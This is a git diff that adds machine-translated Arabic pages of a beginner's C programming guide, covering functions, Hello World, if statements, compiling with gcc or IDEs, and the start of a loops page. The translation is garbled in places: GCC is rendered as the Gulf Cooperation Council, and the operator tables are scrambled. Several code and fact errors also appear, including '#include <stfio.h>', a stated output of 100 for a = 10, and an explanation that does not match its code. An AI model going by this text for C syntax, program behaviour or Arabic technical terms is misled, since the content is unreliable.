+*   هذا يجعل رمزك messier وعموما لا ينصح به. يجب تجنبه كلما أمكن ذلك
+*   استخدم المؤشرات ، التي ستقرأها عن التالي
+*   هذا يمكن أن تجعل التعليمات البرمجية الخاصة بك أكثر صعوبة في القراءة والتصحيح
+*   انتقل إلى وظائفك كما يفترض
+*   هذه هي أفضل طريقة للقيام بذلك ، إذا كان ذلك هو خيار
+
+من الناحية المثالية ، ستنتقل دائمًا إلى وظائفك كمعلمات ، ولكن قد لا تتمكن دائمًا من ذلك. اختيار أفضل الحلول هو وظيفتك كمبرمج.
+
+التكرار في C عندما يتم استدعاء الدالة داخل نفس الوظيفة ، فإنها تُعرف باسم التكرار في C. تُعرف الدالة التي تستدعي نفس الوظيفة ، باسم الدالة العودية.
+
+ `int factorial (int n) 
+ { 
+    if ( n < 0) 
+        return -1; /*Wrong value*/ 
+    if (n == 0) 
+        return 1; /*Terminating condition*/ 
+    return (n * factorial (n -1)); 
+ } 
+` 
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   تعد الدوال جيدة الاستخدام لأنها تجعل نظافة الرمز وأسهل في التصحيح.
+*   يجب الإعلان عن الوظائف قبل استدعائها.
+*   يجب أن يكون للبيانات نوع بيانات للعودة ، إذا لم يتم إرجاع أي شيء ، فاستخدم `void` .
+*   تأخذ الدالات معلمات للعمل بها ، إذا لم تأخذ شيئًا ، استخدم `void` .
+*   ينتهي `return` وظيفة ويعطي قيمة. يمكن أن يكون لديك عدة وظائف في وظيفة واحدة ، ولكن بمجرد أن تصل إلى واحدة تنتهي الوظيفة هناك.
+*   عندما تقوم بتمرير متغير إلى إحدى الوظائف ، يكون له نسخة خاصة به لاستخدامها - تغيير شيء ما في إحدى الوظائف لا يؤدي إلى تغييره خارج الوظيفة.
+*   تظهر المتغيرات المعلنة داخل إحدى الوظائف فقط داخل هذه الوظيفة ، ما لم يتم اعتبارها متغيرة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/hello-world/index.md b/client/src/guide/arabic/c/hello-world/index.md
new file mode 100644
index 0000000000..711bd66fa0
--- /dev/null
+++ b/client/src/guide/arabic/c/hello-world/index.md
@@ -0,0 +1,37 @@
+---
+title: Hello World C
+localeTitle: Hello World C
+---
+\## مرحبا بالعالم
+
+للكتابة على وحدة التحكم يمكنك استخدام الدالة `printf()` الموجودة في المكتبة `include <stdio.h>`
+
+\`\` \`C #تتضمن
+
+int الرئيسي (باطل) {
+
+ ` printf("hello, world\n");  //lines starting with this are called comments.. 
+ 
+ return 0; 
+` 
+
+} \`\` \` ## تفسير
+
+*   \# تضمين هو أمر preprocessor. يخبر هذا الأمر المحول البرمجي لتضمين محتويات stdio.h (ملف الإدخال والإخراج القياسي) في البرنامج.
+    
+*   يحتوي الملف stdio.h على دالات مثل scanf () والطباعة () لأخذ الإدخال وعرض الإخراج على التوالي.
+    
+*   إذا كنت تستخدم وظيفة printf () بدون كتابة # تتضمن ، لن يتم تجميع البرنامج.
+    
+*   يبدأ تنفيذ برنامج C من الدالة main ().
+    
+*   تعد printf () دالة مكتبة لإرسال مخرجات منسقة إلى الشاشة. في هذا البرنامج ، يعرض printf () مرحباً ، العالم! النص على الشاشة.
+    
+*   العائد 0 البيان هو "الخروج من الوضع" للبرنامج. بعبارات بسيطة ، ينتهي البرنامج بهذا البيان
+    
+    ## انتاج:
+    
+    \`\` \`
+    
+
+> مرحبا بالعالم \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/if-statements/index.md b/client/src/guide/arabic/c/if-statements/index.md
new file mode 100644
index 0000000000..723a739f4c
--- /dev/null
+++ b/client/src/guide/arabic/c/if-statements/index.md
@@ -0,0 +1,225 @@
+---
+title: Logical Operators and If Statements
+localeTitle: مشغلات منطقية وبيانات إذا كانت
+---
+# إذا كانت البيانات في C
+
+تُعرف القدرة على تغيير سلوك جزء من الكود المستندة إلى معلومات معينة في البيئة باسم تدفق الشفرة الشرطي. وفي بعض الأحيان تريد تشغيل الكود الخاص بك وفقًا لشروط معينة. في مثل هذه الحالة ، يمكننا استخدام بيانات If. يُعرف أيضًا باسم بيان اتخاذ القرار حيث أنه يتخذ القرار على أساس التعبير المعطى (أو بشرط معين). إذا تم تقييم التعبير إلى true ، فسيتم تنفيذ كتلة الكود داخل العبارة "if". إذا تم تقييم التعبير إلى false ، فسيتم تنفيذ أول مجموعة من الأكواد بعد نهاية العبارة "if" (بعد قوس التجويف الختامي). التعبير هو تعبير يحتوي على عوامل تشغيل علائقية و / أو منطقية تعمل على المتغيرات المنطقية . يتم تقييم التعبير إما صح أو خطأ.
+
+## بناء جملة من _البيان_
+
+ `if (testExpression) { 
+   // statements 
+ } 
+` 
+
+## مثال بسيط
+
+دعونا ننظر إلى مثال على ذلك في العمل:
+
+ `#include <stdio.h> 
+ #include <stdbool.h> 
+ 
+ int main(void) { 
+    if(true) { 
+        printf("Statement is True!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+ `output: 
+ Statement is True! 
+` 
+
+تمامًا مثل helloworld.c ، تم تضمين stdio.h. الجديد في هذا البرنامج هو stdbool.h ، وهو المكتبة البوولية القياسية - فهو يحتوي على كود يتيح لنا الوصول إلى 'true' و 'false'.
+
+جديد أيضًا في المثال أعلاه هو عبارة "if". إذا كان البيان الموجود داخل الأقواس صحيحًا ، فسيتم تشغيل التعليمة البرمجية الموجودة داخل أقواس العبارة if. في حالة هذا المثال ، يكون true صحيحًا ، بحيث تعمل الشفرة على تشغيل وظيفة `printf` .
+
+## لو غير هذا
+
+في العبارة "If-else" ، إذا كان البيان الموجود داخل القوس صحيحًا ، فسيتم تنفيذ التعليمة البرمجية الموجودة داخل أقواس العبارة "if" وإذا كانت العبارة داخل القوس غير صحيحة ، فإن الكود الموجود بين قوسين " سيتم تنفيذ بيان آخر.
+
+بالطبع ، لم يكن هذا المثال مفيدًا جدًا ، لأن الصواب صحيح دائمًا. وإليك آخر آخر أكثر عملية:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 2; 
+ 
+    if(n == 3) { // comparing n with 3 
+        printf("Statement is True!\n"); 
+    } 
+    else { // if first condition is not true, then comes to this block of code. 
+        printf("Statement is False!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+ `output: 
+ Statement is False! 
+` 
+
+هناك بعض الأشياء الهامة التي تختلف هنا. أولاً ، لم يتم تضمين `stdbool.h` . هذا مقبول ، لأنه لا يتم استخدام `true` `false` . في C ، لدينا بيانات تعامل على أنها صحيحة وكاذبة حتى ولو لم تكن الكلمات صحيحة أو خاطئة في العملية.
+
+ضمن أقواس العبارة if شيء جديد ، أيضًا: `n == 3` . هذه مقارنة بين `n` والرقم 3. `==` هي مشغل المقارنة ، وهي واحدة من عدة عمليات مقارنة في C.
+
+## متداخلة إذا كان آخر
+
+تسمح العبارة if-else بالاختيار بين بديلين محتملين. في بعض الأحيان ، يجب الاختيار بين أكثر من احتمالين. على سبيل المثال ، ترجع الدالة sign في الرياضيات -1 إذا كانت الوسيطة أقل من الصفر ، تُرجع +1 إذا كانت الوسيطة أكبر من الصفر وتعيد الصفر إذا كانت الوسيطة صفرًا. تطبق العبارة C ++ التالية هذه الوظيفة:
+
+ `if (x < 0) 
+   sign = -1; 
+ else 
+   if (x == 0) 
+      sign = 0; 
+   else 
+      sign = 1; 
+` 
+
+هذا هو عبارة if-else التي يكون فيها البيان الذي يلي الجملة هو نفسه عبارة if-else. إذا كانت قيمة x أقل من الصفر ، فسيتم تعيين علامة على -1 ، ومع ذلك إذا لم يكن أقل من العبارة التالية بعد تنفيذ آخر. في هذه الحالة ، إذا كانت x تساوي الصفر ، فسيتم تعيين التوقيع على الصفر وإلا يتم تعيينه على 1. غالبًا ما يستخدم المبرمجون المبتدئون تسلسلًا من عبارات if بدلاً من استخدام عبارة if-else متداخلة. هذا ما يكتبونه أعلاه في النموذج المكافئ منطقيًا:
+
+ `if (x < 0) 
+   sign = -1; 
+ if (x == 0) 
+   sign = 0; 
+ if (x > 0) 
+   sign = 1; 
+` 
+
+لا ينصح بهذا الإصدار لأنه لا يوضح أنه سيتم تنفيذ واحد فقط من عبارات المهمة لقيمة معينة من x. كما أنها غير فعالة حيث يتم اختبار جميع الشروط الثلاثة دائما.
+
+## عوامل المقارنة
+
+اسم المشغل الاستخدام | نتيجة المشغل ---------------------------- |: ---------: | --------- -------- يساوي ل | أ == ب | صحيح إذا كان a يساوي b ، كاذبة خلاف ذلك لا يساوي ل | أ = ب | صحيح إذا كان لا يساوي b ، كاذبة خلاف ذلك أكبر من | أ> ب | صحيح إذا كان أكبر من b ، كاذبة خلاف ذلك أكبر من أو يساوي أ = ب | صحيح إذا كان أكبر من أو يساوي b ، كاذبة خلاف ذلك اقل من | أ <ب | صحيح إذا كان أقل من b ، كاذبة خلاف ذلك أقل من أو يساوي أ <= ب | صحيح إذا كان a أقل من أو يساوي b ، كاذبة خلاف ذلك
+
+هذا المثال له أيضًا كلمة جديدة: `else` . يتم تشغيل التعليمة البرمجية الموجودة داخل المجموعة `else` فقط إذا كان الرمز الموجود داخل `if` لم يتم تشغيله.
+
+هناك الكثير يمكننا القيام به مع كل هؤلاء المشغلين! خذ بعين الاعتبار ما يلي ، حيث سنستخدم عبارة if-else:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+ 
+    if(n == 5) { 
+        printf("n is equal to 5!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+ `output: 
+ n is equal to 5! 
+` 
+
+يحتوي بيان if-else على 'else if' مرتبط به. تعمل هذه التعليمة البرمجية إذا كان الشرط الموجود داخل السابق إذا كان خطأً ، ولكنه يضيف شرطًا داخل أقواسها يجب أن يكون صحيحًا قبل تشغيل الشفرة.
+
+## العوامل المنطقية
+
+بالطبع ، قد نرغب في حدوث شيء ما إذا لم يكن ذلك صحيحًا ، أو إذا كان صحيحًا أو غير ذلك. لذلك ، لدينا عوامل منطقية:! ل ، لا & ، و و ل أو. دعونا نلقي نظرة على هذا في العمل:
+
+ `#include <stfio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+    int m = 10; 
+ 
+    if(n > m || n == 15) { 
+        printf("Either n is greater than m, or n is equal to 15\n"); 
+    } 
+    else if( n == 5 && m == 10 ) { 
+        printf("n is equal to 5 and m is equal to 10!\n"); 
+    } 
+    else if ( !(n == 6)) { 
+        printf("It is not true that n is equal to 6!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+ `output: 
+ n is equal to 5 and m is equal to 10! 
+` 
+
+إليك المجموعة الأولى من الأقواس: `n > m || n == 5` . سيكون هذا صحيحًا إذا كان n أكبر من m ، أو إذا كان n تساوي 5. n ليس أكبر من m ، ولكن n تساوي 5. لأن أحد هذه الأشياء يكون صحيحًا ، ويتم ضمها بواسطة ، أو ، سيكون البيان صحيحًا وستتم طباعة التعليمة البرمجية داخل.
+
+ولأن الشفرة السابقة قد تم تنفيذها ، فإنها لن تتحقق من العبارات الأخرى - التي يتم التحقق منها فقط إذا لم يتم التحقق من تلك السابقة. فقط من أجل ممارسة ، مع ذلك ، ضع في اعتبارك ما الذي ستفحصه بقية التعليمات البرمجية. `n == 5 && m == 10` سيكون صحيحاً إذا كان n يساوي 5 و m يساوي 10. وهذا صحيح ، ولكن إذا كان n 6 لم يعد صحيحًا ، ولن يتم تشغيل الكود الموجود ضمن ذلك .
+
+`!(n == 6)` يستخدم قوسين لجعل العملية أكثر وضوحا. وكما هو الحال في الرياضيات ، يمكن استخدام الأقواس لترتيب العمليات: سيتم تنفيذ الأشياء داخل الأقواس قبل الأشياء التي لا تقع ضمن قوس. لذا في هذه الحالة ، سيتم تقييم `n == 6` ، وهو خطأ. `!` ، "لا" ، يقلب هذا من false إلى true ، بحيث تُرجع هذه العملية true. إلا أنه ، كما كان من قبل ، لن يتم تشغيله إلا لأن أحد العبارات السابقة كان صحيحًا أن هذا الأمر مرتبط بالفعل.
+
+أخيراً ، هل تقييم `n > 5` صحيح؟ الإجابة هي لا ، لأن n _هي_ 5 ، وبالتالي فهي ليست أكبر من 5. ونتيجة لذلك ، لن يتم تقييم هذا الرمز إلى true. لجعل هذا التقييم صحيحًا ، يجب استخدام `>=` عامل التشغيل.
+
+## تفاصيل حول C المقارنات
+
+لقد قرأت في وقت سابق أن المقارنات تتحقق مما إذا كان هناك شيء ما صحيح أم خطأ ، ولكن هذا صحيح فقط نصفه. تذكر أن C على وشك أن تكون خفيفة وقريبة من الأجهزة في الأجهزة ، فمن السهل التحقق مما إذا كان هناك شيء 0 ، وأي شيء آخر يتطلب المزيد من العمل. وبسبب ذلك ، ما تقوم به المقارنات فعلاً هو التحقق من وجود خطأ ما ، والذي يتم تعيينه بقيمة 0 ، أو التحقق مما إذا كان غير صحيح (أي قيمة أخرى).
+
+ونتيجة لذلك ، هذه العبارة إذا كانت صحيحة وصالحة:
+
+ `if(12452) { 
+    printf("This is true!\n") 
+ } 
+` 
+
+حسب التصميم ، 0 غير صحيح ومن قبل الاصطلاح ، 1 صحيح. في الواقع ، إليك نظرة على مكتبة `stdbool.h` الموضحة مسبقًا:
+
+ `#define false   0 
+ #define true    1 
+` 
+
+هناك في الواقع أكثر قليلا من ذلك ، ولكن هذا هو الجزء الذي يقوم بكل العمل.
+
+يخبر هذان السطران من الكود المحول البرمجي أنه يجب استبدال كلمة "خطأ" بكلمة "0" ، ويجب استبدال كلمة "صواب" بكلمة "1". `stdbool.h` أيضا لديه بعض الوثائق والتعليمات التي سيتم مناقشتها المترجم في وقت لاحق ، ولكن هذين الخطين هو كل ما هو عليه حقا.
+
+# النصائح والحيل
+
+النظر في الكود أدناه:
+
+ `#include <stdio.h> 
+ 
+ int main() { 
+    int i=3; 
+ 
+    if(i=4) { 
+      printf("This block is executed"); 
+    } 
+    else { 
+      printf("NO! I am boss"); 
+    } 
+ } 
+` 
+
+ماذا سيكون الناتج؟ "لا! أنا مدرب"؟ إذا كنت تخمن هذا الناتج فأنت مخطئ. لماذا حدث هذا؟ لأنه في العبارة if استخدمت "=" بدلاً من "==". "==" هو المقارنة.
+
+سوف يقارن بين متغيرين ولكن "=" هو عامل التخصيص عندما قلنا i = 4 ، نقوم ببساطة بتعيين القيمة 4 إلى العدد الصحيح i ، وبما أنه في "C" ، تكون كل قيمة NON-ZERO صحيحة إذا كانت (i = 4) عبارة صحيحة وسيتم تنفيذ التعليمات تحت هذا
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   إذا كانت العبارة "if" تتحقق مما إذا كان التعبير صحيحًا ، فحينئذٍ يتم تشغيل الكود داخل الأقواس المتعرجة.
+*   يمكن إضافة "else" إلى نهاية "if" ، ولن يتم تشغيله إلا إذا كانت العبارة (s) السابقة خاطئة.
+*   يمكن أيضًا إضافة "else if" إلى نهاية "if" ، وسيتم تشغيلها فقط إذا كانت العبارة (s) السابقة (false) خاطئة.
+*   يتم تمثيل كل شيء في جهاز الكمبيوتر بالأرقام ، لذلك يمكن إجراء كل مقارنة في C من خلال التعامل مع قيم مثل الأرقام - حتى true و false والأحرف.
+*   هناك مجموعة من مشغلي المقارنة:
+*   \== تساوي
+*   ! = لا يساوي
+*   \> أكبر من
+*   أقل من
+*   \> = أقل من أو يساوي
+*   <= أقل من أو يساوي
+*   لدينا أيضًا بعض المشغلين المنطقيين ، مما يسمح لنا بربط العمليات المنطقية معًا:
+*   ! يسمى NOT المشغل-يعكس حالة المعامل
+*   && تسمى AND operator-It تقوم بإرجاع true عندما يكون كلا الشرطين صحيحين
+*   || تسمى OR operator-It تُرجع true عندما يكون واحد على الأقل من الشرط صحيحًا
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/if/index.md b/client/src/guide/arabic/c/if/index.md
new file mode 100644
index 0000000000..e2bfd22fc5
--- /dev/null
+++ b/client/src/guide/arabic/c/if/index.md
@@ -0,0 +1,61 @@
+---
+title: If
+localeTitle: إذا
+---
+# إذا
+
+بيان if تنفيذ كتل مختلفة من التعليمات البرمجية استناداً إلى الشروط.
+
+ ``if (condition) { 
+    // Do something when `condition` is true 
+ } 
+ else { 
+    // Do something when `condition` is false 
+ } 
+`` 
+
+عندما `condition` صحيحة، رمز داخل `if` قسم ينفذ، وإلا `else` ينفذ. في بعض الأحيان ، ستحتاج إلى إضافة شرط ثانٍ. من أجل قراءة، يجب عليك استخدام `else if` بدلا من أن تعشش `if` البيانات.
+
+ ``if (condition) { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+`` 
+
+ﻻﺣ Note أن `else` وﻣﺎ `else if` آﺎﻧﺖ اﻷﻗﺴﺎم ﻏﻴﺮ ﻣﻄﻠﻮﺑﺔ ، ﺑﻴﻨﻤﺎ `if` آﺎﻧﺖ إﻟﺰاﻣﻴﺔ.
+
+## مثال
+
+ `#include <stdio.h> 
+ 
+ int main () { 
+ 
+   // Local variable definition 
+   int a = 10; 
+ 
+   // Check the boolean condition 
+   if(a < 5) { 
+      // If condition is true then print the following 
+      printf("a is less than 5!\n" ); 
+   } 
+   else { 
+      // If condition is false then print the following 
+      printf("a is not less than 5!\n" ); 
+   } 
+ 
+   printf("Value of a is : %d\n", a); 
+ 
+   return 0; 
+ } 
+` 
+
+## انتاج |
+
+ `-> a is not less than 5! 
+ -> Value of a is : 100 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/index.md b/client/src/guide/arabic/c/index.md
new file mode 100644
index 0000000000..c574961d1d
--- /dev/null
+++ b/client/src/guide/arabic/c/index.md
@@ -0,0 +1,128 @@
+---
+title: C
+localeTitle: C
+---
+# مرحبا بالعالم! - برنامج C الأول الخاص بك
+
+## الحصول على أقصى استفادة من هذه الدورة
+
+تأكد من أنك مرتاح مع جميع المفاهيم الموجودة في هذا الجزء من الدليل قبل الانتقال. يعد تشغيل برنامجك الأول أمرًا مهمًا لأنه سيتيح لك المتابعة مع الأمثلة ، وهو أمر جيد آخر للقيام بالممارسة يجعله مثاليًا! سيكون للمفاهيم التي قد تكون مربكة تعليقًا يربط ملحقًا. إذا لم تفهم مفهومًا ، فتأكد من الرجوع إلى الملحق لمزيد من المعلومات.
+
+## هدف الدورة
+
+أهداف هذه الدورة هي تدريس لغة C للمبتدئين. من الناحية المثالية ، شخص ما لم يسبق له أن لمس لغة كمبيوتر من قبل سيمكنه معرفة C باتباع هذه الأدلة. ومع ذلك ، فإنها ستظل مفيدة للمبرمجين الأكثر خبرة من خلال تضمين ملخص في نهاية كل مقالة. على الرغم من أن المحتوى الذي يتم تدريسه هنا قابل للتحويل إلى وحدات التحكم الدقيقة مثل Arduino ، إلا أنه ليس محور هذا الدليل.
+
+## ما هو C؟
+
+ج هي لغة برمجة عامة الغرض اخترعها دنيس ريتشي بين عامي 1969 و 1973 في مختبرات بيل. منذ ذلك الحين ، تم استخدامه لإنشاء أشياء مثل Linux Kernel ، والذي يسمح للبرامج بالتفاعل مع الأجهزة على أنظمة التشغيل المستندة إلى Linux. يمكنه القيام بذلك ، وعمليات أخرى منخفضة المستوى ، لأنه صُمم ليكون قريبًا جدًا من رمز الماكينة بينما لا يزال قابلاً للقراءة. وبسبب هذا ، فإنه يوفر الوصول المباشر إلى ذاكرة الكمبيوتر والأجهزة. وهذا يجعله مفيدًا جدًا في تطبيقات الأجهزة والروبوتات حيث يكون الوصول إلى هذه الميزات سريعًا أمرًا مهمًا. ج ، مثل لغات أخرى منخفضة المستوى ، يتطلب تجميع. تأخذ عملية التجميع رمز C الذي يمكن قراءته بواسطة شخص وتحويله إلى كود يمكن قراءته وتنفيذه بواسطة الكمبيوتر. يتطلب التجميع مترجمًا ، والذي يمكن استخدامه إما من سطر الأوامر أو يمكن استخدامه في بيئة تطوير متكاملة (IDE).
+
+إذا كنت تفضل استخدام سطر الأوامر ، ففكر في `gcc` . يمكن العثور عليه افتراضيًا على أنظمة التشغيل GNU + Linux وعلى Mac ، ويسهل الوصول إليه على Windows. للمبتدئين ، ومع ذلك ، قد يكون وجود بيئة تطوير متكاملة أكثر راحة. فكّر في CodeBlocks أو Xcode إذا كنت مهتمًا بالقدرة على كتابة التعليمات البرمجية وتشغيلها من واجهة المستخدم الرسومية.
+
+الآن بعد أن أصبحت لديك هذه الخلفية ، دعنا نبدأ بالبرنامج "Hello، World". "Hello، World" هي طريقة تقليدية لبدء استخدام لغة: فهي تُظهر أننا نستطيع كتابة التعليمات البرمجية وتشغيلها ، لذا فهي مكان جيد للبدء!
+
+## مرحبا العالم في C
+
+ `#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    printf("hello, world\n"); 
+    return 0; 
+ } 
+` 
+
+دعونا كسر هذا البرنامج لأسفل خطوة بخطوة.
+
+الأول هو `#include` :
+
+ `#include <stdio.h> // This is called preprocessor directives 
+` 
+
+هذه تعليمات إلى المحول البرمجي للعثور على مجموعة من ملفات الرأس وتضمينها. تحتوي ملفات الرأس على تعليمات برمجية إضافية يمكننا استخدامها. في هذه الحالة ، تم إرشاد المحول البرمجي لتضمين `<stdio.h>` ، والذي يحتوي على جميع أنواع الوظائف المفيدة مثل `printf()` . يمكننا أيضا أن يكتب ذلك ك `#include"stdio.h"` . سنتطرق إلى التفاصيل المتعلقة بالوظائف التي يتم إجراؤها لاحقًا ، ولكن في الوقت الحالي تذكر فقط أن إحدى الوظائف هي مجموعة من الرموز التي يمكننا استخدامها.
+
+ `int main(void) 
+ { 
+ } 
+` 
+
+هذا الرمز يعلن الوظيفة الرئيسية. وتتمثل المهمة الرئيسية الخاصة ، وسوف تحصل دائما على الدعوة ودائما هو الجزء الرئيسي من البرنامج. إذا لم يكن هذا في برنامجك ، فلا يمكن تشغيل البرنامج ولن يتم ترجمته.
+
+إن بدء تعريف الدالة مع `int` يعني أن هذه الدالة ستعطي قيمة `int` عندما يتم تشغيلها من خلال كودها ، فهذا ناتج هذه الدالة. `int` هو نوع بيانات "الأعداد الصحيحة" ، والأعداد الصحيحة عبارة عن أرقام كاملة مثل -3 أو 0 أو 18. لذا فنحن نعرف أن هذا الكود سيتم تشغيله ، وعندما يتم ذلك ، سوف يعطينا رقمًا صحيحًا. حسب الاصطلاح ، هذا العدد الصحيح هو 0.
+
+التالي هو `main` . `main` هي اسم هذه الوظيفة ، وكما تعلمتم في وقت سابق ، من المهم أن يكون لديك وظيفة `main` لأن برنامجك لن يعمل بدونه. يتبع `main` `(void)` . هذا يخبر المترجم أن هذه الوظيفة لا تأخذ أي معلمات ، وهذا يعني أنه لا يوجد لديه مدخلات.
+
+قد لا يكون هذا منطقيًا في الوقت الحالي ، ولكنك ستتعلم المزيد عن هذا الأمر عند بدء القراءة عن الوظائف في C لاحقًا. الآن ، تذكر فقط أن `main` مطلوب لبرنامج C ، ولا يأخذ أي إدخال ، ويعطي رقمًا كخرج.
+
+وأخيرًا ، هناك الأقواس: `{` و `}` . هذه علامة بداية ونهاية الدالة. يمثل القوس المجعد المفتوح ( `{` ) البداية ، ويمثل قوس الإغلاق المجعد ( `}` ) النهاية. كل شيء بين الاثنين داخل الوظيفة.
+
+الآن دعونا ننظر إلى اللحم من البرنامج:
+
+ `    printf("Hello, World!\n"); 
+` 
+
+`printf` هي دالة تأخذ النص وتطبعه على الشاشة. تشير الأقواس إلى المعلومات التي نريد أن تأخذها وظيفة `printf` وطباعتها على الشاشة. نوضح أن هذا هو سلسلة نريد طباعتها عن طريق محاذاتها بين علامتي اقتباس مثل "هذا".
+
+لاحظ \\ n الموجود داخل علامات التنصيص- يخبر هذا عن وظيفة `printf` لطباعة سطر جديد. الخط الجديد هو ما يتم طباعته عندما تضغط على إدخال على لوحة المفاتيح. بدون إخبار C بشكل صريح بطباعة سطر جديد ، ستتم طباعة كل شيء على نفس السطر.
+
+وأخيراً ، يتم إتمام العبارة printf () بفاصلة منقوطة ( `;` ). هذا يدل على أن هذا الخط من الشفرة قد انتهى. بدون ذلك ، لا يعرف المترجم أين ينتهي سطر واحد ويبدأ آخر ، لذلك من المهم تضمينه.
+
+ينتهي البرنامج بعبارة عودة:
+
+ `return 0; 
+` 
+
+هذا يدل على أن الوظيفة قد انتهت وأنه يجب أن تنتهي بإعطاء قيمة 0 إلى أي مما جعلها تعمل. عندما تقوم بتشغيل التعليمات البرمجية على جهاز الكمبيوتر الخاص بك ، فمن الجيد أن يكون ذلك لأنه يسمح للبرامج الأخرى بالتفاعل مع جهازك بطريقة أفضل.
+
+كما كان من قبل ، ينتهي هذا السطر بفاصلة منقوطة للإشارة إلى اكتمال الخط.
+
+## تجميع وتشغيل
+
+يمكنك حفظ ملف hello world الخاص بك كما تريد ، ولكن يجب أن ينتهي بامتداد الملف .c. في هذا المثال ، تم تسمية الملف "helloworld.c" ، لأن هذا هو اسم واضح بملحق الملف .c.
+
+هناك العديد من الطرق لتجميع والحصول على كود C تعمل على جهاز الكمبيوتر الخاص بك. وهنا عدد قليل:
+
+#### تجميع وتشغيل من سطر الأوامر مع GCC
+
+إذا كنت تقوم بتشغيل Mac أو GNU + Linux ، فهذا يعني أنك قد قمت بالفعل بتثبيت GCC.
+
+لتشغيل برنامج C ، يجب أن يتم تجميعها. لكي يتم التحويل من سطر الأوامر باستخدام gcc ، قم بتشغيل الأمر التالي من المحطة الطرفية الخاصة بك:
+
+ `gcc -o helloworld ./helloworld.c 
+` 
+
+`gcc` هو Gnu C Compiler ، وسوف يقوم بتجميع الملف C الذي نعطيه إلى برنامج يمكن تشغيله بواسطة الكمبيوتر.
+
+`-o helloworld` يخبر مجلس التعاون الخليجي أنك تريد أن يكون الملف الذي تم تجميعه (الناتج من gcc) ملفًا يسمى "helloworld". الجزء الأخير من الأمر يخبر دول مجلس التعاون الخليجي حيث يمكن العثور على ملف C المطلوب تجميعه. إذا لم تكن راضيًا عن التنقل من سطر الأوامر ، فستكون هذه الخطوة صعبة ، ولكن هذا أمر جيد - من السهل تعلمه والعودة إليه ، أو يمكنك تجربة من بيئة تطوير متكاملة (IDE).
+
+بمجرد تجميعها ، قم بتشغيل الأمر التالي:
+
+ `./helloworld 
+` 
+
+إذا سار كل شيء بشكل جيد ، يجب أن ترى `Hello, World!` المطبوعة على الشاشة.
+
+#### تجميع وتشغيل C مع CodeBlocks
+
+[يمكن تنزيل Codeblocks من هنا.](http://www.codeblocks.org/downloads/26) جعل برنامج جديد مع `file` -> `new` -> `file` المصدر، حدد C / C ++، حدد C كلغة الخاص بك، ثم قم بنسخ فوق النص helloworld.c أن تقرأ من خلال وقت سابق. ترجمة وتشغيل التعليمة البرمجية باستخدام `Build` -> `Build and Run` .
+
+#### تجميع وتشغيل C مع Xcode
+
+[يمكن تنزيل Xcode من هنا.](https://developer.apple.com/xcode/)
+
+#### تجميع وتشغيل C مع Dev-C ++
+
+[يمكن تنزيل Dev-C ++ من هنا.](https://sourceforge.net/projects/orwelldevcpp/) أنشئ برنامجًا جديدًا `file` -> `new` -> `Source File` ، ثم انسخ النص helloworld.c الذي تقرأه سابقًا ثم احفظ الملف مع `file` -> `save As` as hello.c ، ثم ترجم الشفرة وقم بتشغيلها `Execute` -> `Compile & Run` .
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   C لغة مشتركة للغة البرمجة.
+*   تم استخدام C لإعادة تنفيذ نظام التشغيل Unix.
+*   C مفيد لأنه صغير وسريع ولديه إمكانية الوصول إلى العمليات منخفضة المستوى. ولهذا السبب ، يتم استخدامه كثيرًا في الروبوتات وأنظمة التشغيل والإلكترونيات الاستهلاكية ، ولكن ليس في أشياء مثل صفحات الويب.
+*   يحتوي برنامج AC على بعض الأجزاء المهمة:
+*   بيان التضمين ، الذي يخبر المترجم C بمكان العثور على كود إضافي سيتم استخدامه في البرنامج.
+*   الوظيفة الرئيسية ، حيث يتم تنفيذ الكود أولاً ويلزم للترجمة.
+*   الاشياء داخل هذه الوظيفة الرئيسية التي سيتم تنفيذها ، بما في ذلك بيان العودة الذي يغلق البرنامج ويعطي قيمة للبرنامج الذي يطلق عليه.
+*   يحتاج C إلى أن يتم تجميعه ليتم تشغيله.
+*   يمكن استخدام C للوصول إلى عناوين أجهزة محددة وتنفيذ نوع punning لتطابق متطلبات الواجهة المفروضة من الخارج ، مع انخفاض وقت التشغيل على موارد النظام.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/loops/index.md b/client/src/guide/arabic/c/loops/index.md
new file mode 100644
index 0000000000..5af57cac71
--- /dev/null
+++ b/client/src/guide/arabic/c/loops/index.md
@@ -0,0 +1,618 @@
+---
+title: Loops of all kinds
+localeTitle: الحلقات من جميع الأنواع
+---
+# الحلقات من جميع الأنواع في C
+
+الحلقات هي ما تستخدمه عندما يكون لديك شفرة تريد تكرارها ، مما يعني أنه بعد تشغيلها ، قد تحتاج إلى تكرار الحلقة إلى البداية وتشغيلها مرة أخرى. هناك عدد قليل من هذه في C.
+
+## في حين حلقات
+
+أبسط من حفنة هي في حين حلقات. بينما سيتم تشغيل الحلقات بينما يكون الشرط الموجود بين الأقواس صحيحًا. يجب أن تستخدم عندما تريد أن يحدث شيء ما حتى تحدث حالة معينة.
+
+### بناء الجملة
+
+ `while(condition) { 
+   statement(s); 
+ } 
+` 
+
+إليك مثال على ذلك:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 0; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+` 
+
